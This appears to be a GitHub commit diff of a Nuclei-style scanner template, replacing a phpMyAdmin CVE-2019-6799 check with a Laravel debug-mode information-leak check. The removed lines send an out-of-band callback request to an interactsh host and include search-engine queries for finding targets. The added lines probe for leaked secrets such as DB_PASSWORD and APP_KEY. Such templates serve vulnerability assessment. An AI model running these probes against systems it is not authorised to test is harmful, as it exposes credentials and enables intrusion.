Update laravel-debug-infoleak.yaml

patch-1
QAQ 2023-03-14 21:42:06 +08:00 committed by GitHub
parent a57133caf2
commit 877876d67e
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 21 additions and 66 deletions

View File

@ -1,89 +1,44 @@
id: CVE-2019-6799 id: laravel-debug-infoleak
info: info:
name: CVE-2019-6799 name: Laravel-Debug-Infoleak
author: pwnhxl author: pwnhxl
severity: high severity: high
description: An issue was discovered in phpMyAdmin before 4.8.5. When the AllowArbitraryServer configuration setting is set to true, with the use of a rogue MySQL server, an attacker can read any file on the server that the web server's user can access. This is related to the mysql.allow_local_infile PHP configuration, and the inadvertent ignoring of "options(MYSQLI_OPT_LOCAL_INFILE" calls. description: Laravel-Debug-Infoleak
reference: reference:
- https://paper.seebug.org/1112/#_4 - https://nosec.org/home/detail/3059.html
- https://github.com/phpmyadmin/phpmyadmin/commit/828f740158e7bf14aa4a7473c5968d06364e03a2
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6799
- https://nvd.nist.gov/vuln/detail/CVE-2019-6799
- https://github.com/rmb122/rogue_mysql_server
- https://github.com/vulnspy/phpmyadmin-4.8.4-allowarbitraryserver
metadata: metadata:
verified: "true" verified: "true"
shodan-query: title:"phpmyadmin" fofa-query: app="Laravel-Framework"
hunter-query: app.name="phpMyAdmin"&&web.body="pma_servername"&&web.body="4.8.4" tags: laravel,debug,infoleak
fofa-query: body="pma_servername" && body="4.8.4"
tags: phpmyadmin,mysql,fileread
requests: requests:
- raw: - raw:
- | - |
GET {{path}}?pma_servername={{interactsh-url}}&pma_username={{randstr}}&pma_password={{randstr}}&server=1 HTTP/1.1 POST / HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
payloads:
path:
- "/index.php"
- "/pma/index.php"
- "/pmd/index.php"
- "/phpMyAdmin/index.php"
- "/phpmyadmin/index.php"
- "/_phpmyadmin/index.php"
attack: batteringram
extractors:
- type: regex
name: version
internal: true
group: 1
regex:
- '\?v=([0-9.]+)'
- type: regex
group: 1
regex:
- '\?v=([0-9.]+)'
- type: regex
name: phpversion
part: header
internal: true
group: 1
regex:
- "X-Powered-By: PHP/([0-9.]+)"
stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: interactsh_protocol part: body
words: words:
- "dns" - 'vendor/laravel/framework/src/Illuminate/Routing/RouteCollection.php'
- 'MethodNotAllowedHttpException'
condition: and
- type: word - type: word
part: body
words: words:
- "mysqli_real_connect" - 'DB_PASSWORD'
- 'REDIS_PASSWORD'
- type: word - 'MAIL_PASSWORD'
words: - 'ALIYUN_ACCESSKEYSECRET'
- "pma_servername" - 'ALIYUN_ACCESSKEYID'
- 'SMS_AUTH_TOKEN'
- type: dsl - 'APP_KEY'
dsl: condition: or
- compare_versions(version, '< 4.8.5')
- type: dsl
dsl:
- compare_versions(version, '> 3.9.9')
- type: dsl
dsl:
- compare_versions(phpversion, '< 7.3.4')
- type: status - type: status
status: status:
- 200 - 405